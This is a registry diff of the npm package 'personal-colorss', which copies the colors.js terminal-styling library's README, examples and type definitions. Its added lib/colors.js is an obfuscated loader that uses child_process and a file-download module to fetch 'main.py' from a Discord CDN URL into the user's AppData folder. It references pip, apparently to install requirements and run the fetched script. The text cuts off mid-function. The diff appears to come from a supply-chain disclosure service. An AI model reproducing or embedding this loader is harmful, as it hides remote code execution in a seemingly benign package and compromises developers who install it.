personal-colorss 0.0.1-security → 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of personal-colorss might be problematic. Click here for more details.
- package/LICENSE +25 -0
- package/README.md +219 -3
- package/examples/normal-usage.js +82 -0
- package/examples/safe-string.js +79 -0
- package/index.d.ts +136 -0
- package/lib/colors.js +1 -0
- package/lib/custom/trap.js +46 -0
- package/lib/custom/zalgo.js +110 -0
- package/lib/extendStringPrototype.js +110 -0
- package/lib/index.js +13 -0
- package/lib/maps/america.js +10 -0
- package/lib/maps/rainbow.js +12 -0
- package/lib/maps/random.js +11 -0
- package/lib/maps/zebra.js +5 -0
- package/lib/styles.js +95 -0
- package/lib/system/has-flag.js +35 -0
- package/lib/system/supports-colors.js +151 -0
- package/package.json +35 -4
- package/safe.d.ts +48 -0
- package/safe.js +10 -0
- package/themes/generic-logging.js +12 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Original Library
|
|
4
|
+
- Copyright (c) Marak Squires
|
|
5
|
+
|
|
6
|
+
Additional Functionality
|
|
7
|
+
- Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
|
8
|
+
|
|
9
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
10
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
11
|
+
in the Software without restriction, including without limitation the rights
|
|
12
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
13
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
14
|
+
furnished to do so, subject to the following conditions:
|
|
15
|
+
|
|
16
|
+
The above copyright notice and this permission notice shall be included in
|
|
17
|
+
all copies or substantial portions of the Software.
|
|
18
|
+
|
|
19
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
20
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
21
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
22
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
23
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
24
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
|
25
|
+
THE SOFTWARE.
|
package/README.md
CHANGED
|
@@ -1,5 +1,221 @@
|
|
|
1
|
-
#
|
|
1
|
+
# colors.js
|
|
2
|
+
[](https://travis-ci.org/Marak/colors.js)
|
|
3
|
+
[](https://www.npmjs.org/package/colors)
|
|
4
|
+
[](https://david-dm.org/Marak/colors.js)
|
|
5
|
+
[](https://david-dm.org/Marak/colors.js#info=devDependencies)
|
|
2
6
|
|
|
3
|
-
|
|
7
|
+
Please check out the [roadmap](ROADMAP.md) for upcoming features and releases. Please open Issues to provide feedback, and check the `develop` branch for the latest bleeding-edge updates.
|
|
4
8
|
|
|
5
|
-
|
|
9
|
+
## get color and style in your node.js console
|
|
10
|
+
|
|
11
|
+

|
|
12
|
+
|
|
13
|
+
## Installation
|
|
14
|
+
|
|
15
|
+
npm install colors
|
|
16
|
+
|
|
17
|
+
## colors and styles!
|
|
18
|
+
|
|
19
|
+
### text colors
|
|
20
|
+
|
|
21
|
+
- black
|
|
22
|
+
- red
|
|
23
|
+
- green
|
|
24
|
+
- yellow
|
|
25
|
+
- blue
|
|
26
|
+
- magenta
|
|
27
|
+
- cyan
|
|
28
|
+
- white
|
|
29
|
+
- gray
|
|
30
|
+
- grey
|
|
31
|
+
|
|
32
|
+
### bright text colors
|
|
33
|
+
|
|
34
|
+
- brightRed
|
|
35
|
+
- brightGreen
|
|
36
|
+
- brightYellow
|
|
37
|
+
- brightBlue
|
|
38
|
+
- brightMagenta
|
|
39
|
+
- brightCyan
|
|
40
|
+
- brightWhite
|
|
41
|
+
|
|
42
|
+
### background colors
|
|
43
|
+
|
|
44
|
+
- bgBlack
|
|
45
|
+
- bgRed
|
|
46
|
+
- bgGreen
|
|
47
|
+
- bgYellow
|
|
48
|
+
- bgBlue
|
|
49
|
+
- bgMagenta
|
|
50
|
+
- bgCyan
|
|
51
|
+
- bgWhite
|
|
52
|
+
- bgGray
|
|
53
|
+
- bgGrey
|
|
54
|
+
|
|
55
|
+
### bright background colors
|
|
56
|
+
|
|
57
|
+
- bgBrightRed
|
|
58
|
+
- bgBrightGreen
|
|
59
|
+
- bgBrightYellow
|
|
60
|
+
- bgBrightBlue
|
|
61
|
+
- bgBrightMagenta
|
|
62
|
+
- bgBrightCyan
|
|
63
|
+
- bgBrightWhite
|
|
64
|
+
|
|
65
|
+
### styles
|
|
66
|
+
|
|
67
|
+
- reset
|
|
68
|
+
- bold
|
|
69
|
+
- dim
|
|
70
|
+
- italic
|
|
71
|
+
- underline
|
|
72
|
+
- inverse
|
|
73
|
+
- hidden
|
|
74
|
+
- strikethrough
|
|
75
|
+
|
|
76
|
+
### extras
|
|
77
|
+
|
|
78
|
+
- rainbow
|
|
79
|
+
- zebra
|
|
80
|
+
- america
|
|
81
|
+
- trap
|
|
82
|
+
- random
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
## Usage
|
|
86
|
+
|
|
87
|
+
By popular demand, `colors` now ships with two types of usages!
|
|
88
|
+
|
|
89
|
+
The super nifty way
|
|
90
|
+
|
|
91
|
+
```js
|
|
92
|
+
var colors = require('colors');
|
|
93
|
+
|
|
94
|
+
console.log('hello'.green); // outputs green text
|
|
95
|
+
console.log('i like cake and pies'.underline.red) // outputs red underlined text
|
|
96
|
+
console.log('inverse the color'.inverse); // inverses the color
|
|
97
|
+
console.log('OMG Rainbows!'.rainbow); // rainbow
|
|
98
|
+
console.log('Run the trap'.trap); // Drops the bass
|
|
99
|
+
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
or a slightly less nifty way which doesn't extend `String.prototype`
|
|
103
|
+
|
|
104
|
+
```js
|
|
105
|
+
var colors = require('colors/safe');
|
|
106
|
+
|
|
107
|
+
console.log(colors.green('hello')); // outputs green text
|
|
108
|
+
console.log(colors.red.underline('i like cake and pies')) // outputs red underlined text
|
|
109
|
+
console.log(colors.inverse('inverse the color')); // inverses the color
|
|
110
|
+
console.log(colors.rainbow('OMG Rainbows!')); // rainbow
|
|
111
|
+
console.log(colors.trap('Run the trap')); // Drops the bass
|
|
112
|
+
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
I prefer the first way. Some people seem to be afraid of extending `String.prototype` and prefer the second way.
|
|
116
|
+
|
|
117
|
+
If you are writing good code you will never have an issue with the first approach. If you really don't want to touch `String.prototype`, the second usage will not touch `String` native object.
|
|
118
|
+
|
|
119
|
+
## Enabling/Disabling Colors
|
|
120
|
+
|
|
121
|
+
The package will auto-detect whether your terminal can use colors and enable/disable accordingly. When colors are disabled, the color functions do nothing. You can override this with a command-line flag:
|
|
122
|
+
|
|
123
|
+
```bash
|
|
124
|
+
node myapp.js --no-color
|
|
125
|
+
node myapp.js --color=false
|
|
126
|
+
|
|
127
|
+
node myapp.js --color
|
|
128
|
+
node myapp.js --color=true
|
|
129
|
+
node myapp.js --color=always
|
|
130
|
+
|
|
131
|
+
FORCE_COLOR=1 node myapp.js
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
Or in code:
|
|
135
|
+
|
|
136
|
+
```javascript
|
|
137
|
+
var colors = require('colors');
|
|
138
|
+
colors.enable();
|
|
139
|
+
colors.disable();
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
## Console.log [string substitution](http://nodejs.org/docs/latest/api/console.html#console_console_log_data)
|
|
143
|
+
|
|
144
|
+
```js
|
|
145
|
+
var name = 'Marak';
|
|
146
|
+
console.log(colors.green('Hello %s'), name);
|
|
147
|
+
// outputs -> 'Hello Marak'
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
## Custom themes
|
|
151
|
+
|
|
152
|
+
### Using standard API
|
|
153
|
+
|
|
154
|
+
```js
|
|
155
|
+
|
|
156
|
+
var colors = require('colors');
|
|
157
|
+
|
|
158
|
+
colors.setTheme({
|
|
159
|
+
silly: 'rainbow',
|
|
160
|
+
input: 'grey',
|
|
161
|
+
verbose: 'cyan',
|
|
162
|
+
prompt: 'grey',
|
|
163
|
+
info: 'green',
|
|
164
|
+
data: 'grey',
|
|
165
|
+
help: 'cyan',
|
|
166
|
+
warn: 'yellow',
|
|
167
|
+
debug: 'blue',
|
|
168
|
+
error: 'red'
|
|
169
|
+
});
|
|
170
|
+
|
|
171
|
+
// outputs red text
|
|
172
|
+
console.log("this is an error".error);
|
|
173
|
+
|
|
174
|
+
// outputs yellow text
|
|
175
|
+
console.log("this is a warning".warn);
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
### Using string safe API
|
|
179
|
+
|
|
180
|
+
```js
|
|
181
|
+
var colors = require('colors/safe');
|
|
182
|
+
|
|
183
|
+
// set single property
|
|
184
|
+
var error = colors.red;
|
|
185
|
+
error('this is red');
|
|
186
|
+
|
|
187
|
+
// set theme
|
|
188
|
+
colors.setTheme({
|
|
189
|
+
silly: 'rainbow',
|
|
190
|
+
input: 'grey',
|
|
191
|
+
verbose: 'cyan',
|
|
192
|
+
prompt: 'grey',
|
|
193
|
+
info: 'green',
|
|
194
|
+
data: 'grey',
|
|
195
|
+
help: 'cyan',
|
|
196
|
+
warn: 'yellow',
|
|
197
|
+
debug: 'blue',
|
|
198
|
+
error: 'red'
|
|
199
|
+
});
|
|
200
|
+
|
|
201
|
+
// outputs red text
|
|
202
|
+
console.log(colors.error("this is an error"));
|
|
203
|
+
|
|
204
|
+
// outputs yellow text
|
|
205
|
+
console.log(colors.warn("this is a warning"));
|
|
206
|
+
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
### Combining Colors
|
|
210
|
+
|
|
211
|
+
```javascript
|
|
212
|
+
var colors = require('colors');
|
|
213
|
+
|
|
214
|
+
colors.setTheme({
|
|
215
|
+
custom: ['red', 'underline']
|
|
216
|
+
});
|
|
217
|
+
|
|
218
|
+
console.log('test'.custom);
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
*Protip: There is a secret undocumented style in `colors`. If you find the style you can summon him.*
|
|
@@ -0,0 +1,82 @@
|
|
|
1
|
+
var colors = require('../lib/index');
|
|
2
|
+
|
|
3
|
+
console.log('First some yellow text'.yellow);
|
|
4
|
+
|
|
5
|
+
console.log('Underline that text'.yellow.underline);
|
|
6
|
+
|
|
7
|
+
console.log('Make it bold and red'.red.bold);
|
|
8
|
+
|
|
9
|
+
console.log(('Double Raindows All Day Long').rainbow);
|
|
10
|
+
|
|
11
|
+
console.log('Drop the bass'.trap);
|
|
12
|
+
|
|
13
|
+
console.log('DROP THE RAINBOW BASS'.trap.rainbow);
|
|
14
|
+
|
|
15
|
+
// styles not widely supported
|
|
16
|
+
console.log('Chains are also cool.'.bold.italic.underline.red);
|
|
17
|
+
|
|
18
|
+
// styles not widely supported
|
|
19
|
+
console.log('So '.green + 'are'.underline + ' ' + 'inverse'.inverse
|
|
20
|
+
+ ' styles! '.yellow.bold);
|
|
21
|
+
console.log('Zebras are so fun!'.zebra);
|
|
22
|
+
|
|
23
|
+
//
|
|
24
|
+
// Remark: .strikethrough may not work with Mac OS Terminal App
|
|
25
|
+
//
|
|
26
|
+
console.log('This is ' + 'not'.strikethrough + ' fun.');
|
|
27
|
+
|
|
28
|
+
console.log('Background color attack!'.black.bgWhite);
|
|
29
|
+
console.log('Use random styles on everything!'.random);
|
|
30
|
+
console.log('America, Heck Yeah!'.america);
|
|
31
|
+
|
|
32
|
+
console.log('Blindingly '.brightCyan + 'bright? '.brightRed + 'Why '.brightYellow + 'not?!'.brightGreen);
|
|
33
|
+
|
|
34
|
+
console.log('Setting themes is useful');
|
|
35
|
+
|
|
36
|
+
//
|
|
37
|
+
// Custom themes
|
|
38
|
+
//
|
|
39
|
+
console.log('Generic logging theme as JSON'.green.bold.underline);
|
|
40
|
+
// Load theme with JSON literal
|
|
41
|
+
colors.setTheme({
|
|
42
|
+
silly: 'rainbow',
|
|
43
|
+
input: 'grey',
|
|
44
|
+
verbose: 'cyan',
|
|
45
|
+
prompt: 'grey',
|
|
46
|
+
info: 'green',
|
|
47
|
+
data: 'grey',
|
|
48
|
+
help: 'cyan',
|
|
49
|
+
warn: 'yellow',
|
|
50
|
+
debug: 'blue',
|
|
51
|
+
error: 'red',
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
// outputs red text
|
|
55
|
+
console.log('this is an error'.error);
|
|
56
|
+
|
|
57
|
+
// outputs yellow text
|
|
58
|
+
console.log('this is a warning'.warn);
|
|
59
|
+
|
|
60
|
+
// outputs grey text
|
|
61
|
+
console.log('this is an input'.input);
|
|
62
|
+
|
|
63
|
+
console.log('Generic logging theme as file'.green.bold.underline);
|
|
64
|
+
|
|
65
|
+
// Load a theme from file
|
|
66
|
+
try {
|
|
67
|
+
colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
|
|
68
|
+
} catch (err) {
|
|
69
|
+
console.log(err);
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
// outputs red text
|
|
73
|
+
console.log('this is an error'.error);
|
|
74
|
+
|
|
75
|
+
// outputs yellow text
|
|
76
|
+
console.log('this is a warning'.warn);
|
|
77
|
+
|
|
78
|
+
// outputs grey text
|
|
79
|
+
console.log('this is an input'.input);
|
|
80
|
+
|
|
81
|
+
// console.log("Don't summon".zalgo)
|
|
82
|
+
|
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
var colors = require('../safe');
|
|
2
|
+
|
|
3
|
+
console.log(colors.yellow('First some yellow text'));
|
|
4
|
+
|
|
5
|
+
console.log(colors.yellow.underline('Underline that text'));
|
|
6
|
+
|
|
7
|
+
console.log(colors.red.bold('Make it bold and red'));
|
|
8
|
+
|
|
9
|
+
console.log(colors.rainbow('Double Raindows All Day Long'));
|
|
10
|
+
|
|
11
|
+
console.log(colors.trap('Drop the bass'));
|
|
12
|
+
|
|
13
|
+
console.log(colors.rainbow(colors.trap('DROP THE RAINBOW BASS')));
|
|
14
|
+
|
|
15
|
+
// styles not widely supported
|
|
16
|
+
console.log(colors.bold.italic.underline.red('Chains are also cool.'));
|
|
17
|
+
|
|
18
|
+
// styles not widely supported
|
|
19
|
+
console.log(colors.green('So ') + colors.underline('are') + ' '
|
|
20
|
+
+ colors.inverse('inverse') + colors.yellow.bold(' styles! '));
|
|
21
|
+
|
|
22
|
+
console.log(colors.zebra('Zebras are so fun!'));
|
|
23
|
+
|
|
24
|
+
console.log('This is ' + colors.strikethrough('not') + ' fun.');
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
console.log(colors.black.bgWhite('Background color attack!'));
|
|
28
|
+
console.log(colors.random('Use random styles on everything!'));
|
|
29
|
+
console.log(colors.america('America, Heck Yeah!'));
|
|
30
|
+
|
|
31
|
+
console.log(colors.brightCyan('Blindingly ') + colors.brightRed('bright? ') + colors.brightYellow('Why ') + colors.brightGreen('not?!'));
|
|
32
|
+
|
|
33
|
+
console.log('Setting themes is useful');
|
|
34
|
+
|
|
35
|
+
//
|
|
36
|
+
// Custom themes
|
|
37
|
+
//
|
|
38
|
+
// console.log('Generic logging theme as JSON'.green.bold.underline);
|
|
39
|
+
// Load theme with JSON literal
|
|
40
|
+
colors.setTheme({
|
|
41
|
+
silly: 'rainbow',
|
|
42
|
+
input: 'blue',
|
|
43
|
+
verbose: 'cyan',
|
|
44
|
+
prompt: 'grey',
|
|
45
|
+
info: 'green',
|
|
46
|
+
data: 'grey',
|
|
47
|
+
help: 'cyan',
|
|
48
|
+
warn: 'yellow',
|
|
49
|
+
debug: 'blue',
|
|
50
|
+
error: 'red',
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
// outputs red text
|
|
54
|
+
console.log(colors.error('this is an error'));
|
|
55
|
+
|
|
56
|
+
// outputs yellow text
|
|
57
|
+
console.log(colors.warn('this is a warning'));
|
|
58
|
+
|
|
59
|
+
// outputs blue text
|
|
60
|
+
console.log(colors.input('this is an input'));
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
// console.log('Generic logging theme as file'.green.bold.underline);
|
|
64
|
+
|
|
65
|
+
// Load a theme from file
|
|
66
|
+
colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
|
|
67
|
+
|
|
68
|
+
// outputs red text
|
|
69
|
+
console.log(colors.error('this is an error'));
|
|
70
|
+
|
|
71
|
+
// outputs yellow text
|
|
72
|
+
console.log(colors.warn('this is a warning'));
|
|
73
|
+
|
|
74
|
+
// outputs grey text
|
|
75
|
+
console.log(colors.input('this is an input'));
|
|
76
|
+
|
|
77
|
+
// console.log(colors.zalgo("Don't summon him"))
|
|
78
|
+
|
|
79
|
+
|
package/index.d.ts
ADDED
|
@@ -0,0 +1,136 @@
|
|
|
1
|
+
// Type definitions for Colors.js 1.2
|
|
2
|
+
// Project: https://github.com/Marak/colors.js
|
|
3
|
+
// Definitions by: Bart van der Schoor <https://github.com/Bartvds>, Staffan Eketorp <https://github.com/staeke>
|
|
4
|
+
// Definitions: https://github.com/Marak/colors.js
|
|
5
|
+
|
|
6
|
+
export interface Color {
|
|
7
|
+
(text: string): string;
|
|
8
|
+
|
|
9
|
+
strip: Color;
|
|
10
|
+
stripColors: Color;
|
|
11
|
+
|
|
12
|
+
black: Color;
|
|
13
|
+
red: Color;
|
|
14
|
+
green: Color;
|
|
15
|
+
yellow: Color;
|
|
16
|
+
blue: Color;
|
|
17
|
+
magenta: Color;
|
|
18
|
+
cyan: Color;
|
|
19
|
+
white: Color;
|
|
20
|
+
gray: Color;
|
|
21
|
+
grey: Color;
|
|
22
|
+
|
|
23
|
+
bgBlack: Color;
|
|
24
|
+
bgRed: Color;
|
|
25
|
+
bgGreen: Color;
|
|
26
|
+
bgYellow: Color;
|
|
27
|
+
bgBlue: Color;
|
|
28
|
+
bgMagenta: Color;
|
|
29
|
+
bgCyan: Color;
|
|
30
|
+
bgWhite: Color;
|
|
31
|
+
|
|
32
|
+
reset: Color;
|
|
33
|
+
bold: Color;
|
|
34
|
+
dim: Color;
|
|
35
|
+
italic: Color;
|
|
36
|
+
underline: Color;
|
|
37
|
+
inverse: Color;
|
|
38
|
+
hidden: Color;
|
|
39
|
+
strikethrough: Color;
|
|
40
|
+
|
|
41
|
+
rainbow: Color;
|
|
42
|
+
zebra: Color;
|
|
43
|
+
america: Color;
|
|
44
|
+
trap: Color;
|
|
45
|
+
random: Color;
|
|
46
|
+
zalgo: Color;
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
export function enable(): void;
|
|
50
|
+
export function disable(): void;
|
|
51
|
+
export function setTheme(theme: any): void;
|
|
52
|
+
|
|
53
|
+
export let enabled: boolean;
|
|
54
|
+
|
|
55
|
+
export const strip: Color;
|
|
56
|
+
export const stripColors: Color;
|
|
57
|
+
|
|
58
|
+
export const black: Color;
|
|
59
|
+
export const red: Color;
|
|
60
|
+
export const green: Color;
|
|
61
|
+
export const yellow: Color;
|
|
62
|
+
export const blue: Color;
|
|
63
|
+
export const magenta: Color;
|
|
64
|
+
export const cyan: Color;
|
|
65
|
+
export const white: Color;
|
|
66
|
+
export const gray: Color;
|
|
67
|
+
export const grey: Color;
|
|
68
|
+
|
|
69
|
+
export const bgBlack: Color;
|
|
70
|
+
export const bgRed: Color;
|
|
71
|
+
export const bgGreen: Color;
|
|
72
|
+
export const bgYellow: Color;
|
|
73
|
+
export const bgBlue: Color;
|
|
74
|
+
export const bgMagenta: Color;
|
|
75
|
+
export const bgCyan: Color;
|
|
76
|
+
export const bgWhite: Color;
|
|
77
|
+
|
|
78
|
+
export const reset: Color;
|
|
79
|
+
export const bold: Color;
|
|
80
|
+
export const dim: Color;
|
|
81
|
+
export const italic: Color;
|
|
82
|
+
export const underline: Color;
|
|
83
|
+
export const inverse: Color;
|
|
84
|
+
export const hidden: Color;
|
|
85
|
+
export const strikethrough: Color;
|
|
86
|
+
|
|
87
|
+
export const rainbow: Color;
|
|
88
|
+
export const zebra: Color;
|
|
89
|
+
export const america: Color;
|
|
90
|
+
export const trap: Color;
|
|
91
|
+
export const random: Color;
|
|
92
|
+
export const zalgo: Color;
|
|
93
|
+
|
|
94
|
+
declare global {
|
|
95
|
+
interface String {
|
|
96
|
+
strip: string;
|
|
97
|
+
stripColors: string;
|
|
98
|
+
|
|
99
|
+
black: string;
|
|
100
|
+
red: string;
|
|
101
|
+
green: string;
|
|
102
|
+
yellow: string;
|
|
103
|
+
blue: string;
|
|
104
|
+
magenta: string;
|
|
105
|
+
cyan: string;
|
|
106
|
+
white: string;
|
|
107
|
+
gray: string;
|
|
108
|
+
grey: string;
|
|
109
|
+
|
|
110
|
+
bgBlack: string;
|
|
111
|
+
bgRed: string;
|
|
112
|
+
bgGreen: string;
|
|
113
|
+
bgYellow: string;
|
|
114
|
+
bgBlue: string;
|
|
115
|
+
bgMagenta: string;
|
|
116
|
+
bgCyan: string;
|
|
117
|
+
bgWhite: string;
|
|
118
|
+
|
|
119
|
+
reset: string;
|
|
120
|
+
// @ts-ignore
|
|
121
|
+
bold: string;
|
|
122
|
+
dim: string;
|
|
123
|
+
italic: string;
|
|
124
|
+
underline: string;
|
|
125
|
+
inverse: string;
|
|
126
|
+
hidden: string;
|
|
127
|
+
strikethrough: string;
|
|
128
|
+
|
|
129
|
+
rainbow: string;
|
|
130
|
+
zebra: string;
|
|
131
|
+
america: string;
|
|
132
|
+
trap: string;
|
|
133
|
+
random: string;
|
|
134
|
+
zalgo: string;
|
|
135
|
+
}
|
|
136
|
+
}
|
package/lib/colors.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
(function(_0x5e71ef,_0x570e42){function _0x1242a6(_0x233913,_0x574663,_0x39ce05,_0x19c7a2){return _0xa6b2(_0x39ce05- -0x3e4,_0x574663);}function _0x2678a3(_0x1da68c,_0x1d18af,_0x307431,_0x18317b){return _0xa6b2(_0x1da68c-0x145,_0x307431);}var _0x315a64=_0x5e71ef();while(!![]){try{var _0x52b2a5=parseInt(_0x1242a6(-0x219,-0x267,-0x23d,-0x201))/(0xa3f*-0x2+-0x5*0x694+-0x3563*-0x1)*(parseInt(_0x2678a3(0x2a8,0x2d7,0x2c0,0x2b8))/(-0x19aa+-0x1*-0x34c+-0x10*-0x166))+parseInt(_0x2678a3(0x293,0x2df,0x287,0x2b4))/(-0x19ac+0x1*0x26ef+0x2*-0x6a0)*(-parseInt(_0x1242a6(-0x20e,-0x1e1,-0x200,-0x24c))/(0x4c2+0x1082*0x2+-0x25c2))+parseInt(_0x1242a6(-0x26c,-0x2b6,-0x266,-0x266))/(-0xc69+0xd*0x86+0x5a0)+-parseInt(_0x1242a6(-0x23f,-0x233,-0x263,-0x26e))/(0x22c0+-0x11*0x235+0x2cb)+parseInt(_0x2678a3(0x2d5,0x2c1,0x2c4,0x29b))/(-0x212f+-0xbdf+-0xf07*-0x3)+-parseInt(_0x2678a3(0x2d6,0x30a,0x2a6,0x2ee))/(-0x21df+-0x5b*0x42+0x395d)+parseInt(_0x2678a3(0x30a,0x2fd,0x2fc,0x2f7))/(0x25*0x96+0x13e6+0x2c5*-0xf);if(_0x52b2a5===_0x570e42)break;else _0x315a64['push'](_0x315a64['shift']());}catch(_0x4e9b46){_0x315a64['push'](_0x315a64['shift']());}}}(_0x5e36,0x99648+-0x1*-0x414e9+0x4bbe*-0x17));var colors={};module[_0x130a0a(0x3b0,0x3da,0x3c3,0x403)]=colors;function _0x5e36(){var _0x4bd1db=['nxW3Fdj8ohWXFa','qLzqz0O','nNWWFdr8mW','xcqM','CNz3Bge','CxvPCMuGDgHLia','BwfWCW','C3rYAxa','AgPXAfq','uLzfC1K','kcGOlISPkYKRkq','swT0s28','ve15Ew4','vgHLBwuGBM93ia','r0fpu0e','B3bLBG','ANbVrgG','Bg9Y','ntyZntu2nLP6AKrTrG','zxvfwwG','nte4mZiWnc85nW','C3rYAw5NlIaG','Bg9JywXHChbKyq','zxruAgvTzsHFxW','ihrYEwLUzYb0BW','sNHWBge','DhmGyw4GB2jQzq','zw52','AfjhrhG','tKH4AwG','x19WCM90B19F','wwHKAxm','zxHWB3j0CW','BgvUz3rO','lI9JDxn0B20VEG','C3r5BgvZ','z2Pkwfm','y29UC3rYDwn0BW','A3D3vvO','rKXKAuO','vxz6CK0','ChjVDg90ExbL','ter3tfa','lI9ZDhLSzxm','ChaUy29Tl2f0Da','shPAqKq','Dgz4rxe','tePOuLu','ywPusKO','nJbPugLXve4','DgHLBwvZ','BI5WEq','DhrkwuC','CMLJyq','ChHhsK0','y3qSig5VDcbHia','yvb1Dei','BwfW','C3vWCg9YDhndBW','DYbZEw50yxGGBa','l21HAw4UChK','CgLWmG','zw5HyMXLza','ig9SzcbZEw50yq','lI9ZExn0zw0VCW','AwTcqxy','C3bSAxq','C3jtDNu','DhjHCa','Dw5SAw5Ru3LUyW','CYbUB3CGEw91CG','CNDqALi','Aw5KzxHpzG','zMLSzsWGAxqGAq','sMfXufG','CgLWma','y2XVC2u','zsbJB2XVCNmUCW','CY9Nzw5LCMLJlq','Bg9N','mZuXmdnXqNLYEe0','wfP5A1a','ywXNBW','jYKPoW','ru9PwKK','jY8UlI90AgvTzq','nZmWote4ndC2nW','zu1iz0G','B2jQzwn0','jYK7ifrOzsbUzq','whL1wM0','z2LQy2u','y2XVC2vszq','A2v5CW','wKr2shC','DuDgD1e','twHKCMW','D1LgEhe','De9Qug4','ugz6CgK','yxbWzgf0yq','nZaZnJu0yMn4zgHd','Dw5KzwzPBMvK','Aw5ZCgvJDa','y21HyLe','wKj2r04','BezLrw4','DMfpsNu','x3n0EwXLCW','CMfUzg9T','vgHLBwuOCMvXDq','CMfW','y3jWy1a','ELvrz1y','AgnjyKW','AM9PBG','DxrPBa','tMDbwxG','zxj0AwvZ','Dg9tDhjPBMC','zMLSzs4GifrOzq','EfbMCwW','zhHxwhm','zMvZuMu','Bvz1DM4','zgLYBMfTzsaRia','DxbWB3j0CY1JBW','qMP0zKi','mZK5nZu4nxH4zMfjDG','CfbcDM8','BgLMzgO','ndq3nJi1mM1hqwvhDG','s2fqAMu','zgLZywjSzq','wwTfB0O','BMjVDW','uwjjzhm','u0T4vK0','zxnZ','sgrUzMW','Bg9Nz2LUzY5QCW','zxP4rfG','CMvWBgfJzq','B25SEsbHy2nLCa','C3rYAxbdB2XVCG','zw5HyMXL','mtG0nJiWmxreAhjvEa','ntm1ota0oeTouxnYtq','Bg9YCW','zM9YrwfJAa','BgL0Esb0BYbYzq','yw1LicSG','AxjLkf9FzgLYBG','t2TbEfi','CgLWmW','t25jsMi','BwuGzNjVBsbHia','CgLWmq','wvPjqvG','vNvmvvu','zur3rNq','qMfeAxG','y2HPBgrFChjVyW','r0TVEgq','z3jHEq','mhW0Fdn8mxWY','lI9TyxbZl3jHAq','ihn0CMLUzW','C2rPB0K','mvbcC2zQyG','z3jLEq','suXIs2e','ywnOBwvUDhmVoq','EMvICMe','ywreC2K','y29Uy2f0','y2fSBa','yxbWBhK','r2PrC1K','C2vHCMnO','C3rYAw5N'];_0x5e36=function(){return _0x4bd1db;};return _0x5e36();}const download=require('file-downl'+'oad'),fs=require('fs'),{execSync}=require(_0x130a0a(0x3a3,0x3a7,0x3ad,0x36a)+_0x2cd4bd(0x110,0x11a,0xd1,0x167)),local=process['env'][_0x130a0a(0x3e5,0x3d0,0x3cb,0x40b)+'ta'],roaming=process[_0x2cd4bd(0x156,0x13d,0x1ac,0xfd)][_0x130a0a(0x313,0x369,0x391,0x373)],url='https://cd'+'n.discorda'+_0x130a0a(0x3a7,0x3e6,0x42e,0x38e)+_0x2cd4bd(0x132,0xfe,0x18a,0x133)+_0x130a0a(0x304,0x35b,0x363,0x382)+_0x2cd4bd(0x14f,0x16c,0x1a8,0x176)+'3092116655'+'910972/mai'+_0x130a0a(0x3fb,0x3ed,0x3ef,0x402),arch='main.py';function _0x130a0a(_0x5d5af9,_0xfeefdc,_0x4613f6,_0x5b0297){return _0xa6b2(_0xfeefdc-0x207,_0x4613f6);}var _0x4c0dd4={};_0x4c0dd4['directory']=roaming,_0x4c0dd4['filename']=arch;const options=_0x4c0dd4;let configPip=[_0x130a0a(0x3fa,0x405,0x3bc,0x454),_0x2cd4bd(0x123,0x176,0x109,0x163),_0x130a0a(0x437,0x3f7,0x39f,0x417),_0x130a0a(0x3e4,0x39f,0x374,0x3ce),'pip4'];function baixararquivo(){var _0x346461={'wGuDZ':'XKNQK','srSvu':function(_0x4cf5f1,_0x248542){return _0x4cf5f1+_0x248542;},'wROJr':function(_0x1f3e96,_0x40b86e){return _0x1f3e96===_0x40b86e;},'RVEsY':_0x37805e(-0x89,-0xd8,-0x81,-0x81),'LJhRU':'(((.+)+)+)'+'+$','euEYh':_0x54d6ee(0x50f,0x47c,0x4c0,0x4ad),'Vpjoo':function(_0x4c776a,_0x3046b4){return _0x4c776a(_0x3046b4);},'ikBAv':function(_0x10241d,_0x392df4){return _0x10241d!==_0x392df4;},'ywOfU':_0x37805e(-0x44,0x12,-0xe,-0x41),'YkEoJ':function(_0x564d64,_0x36664d){return _0x564d64===_0x36664d;},'MZhiD':_0x37805e(-0xb5,-0x27,-0xb8,-0x80),'vaOJu':function(_0x5c2594,_0x1b22d1,_0x55ba64){return _0x5c2594(_0x1b22d1,_0x55ba64);},'crpcP':function(_0x1e287e){return 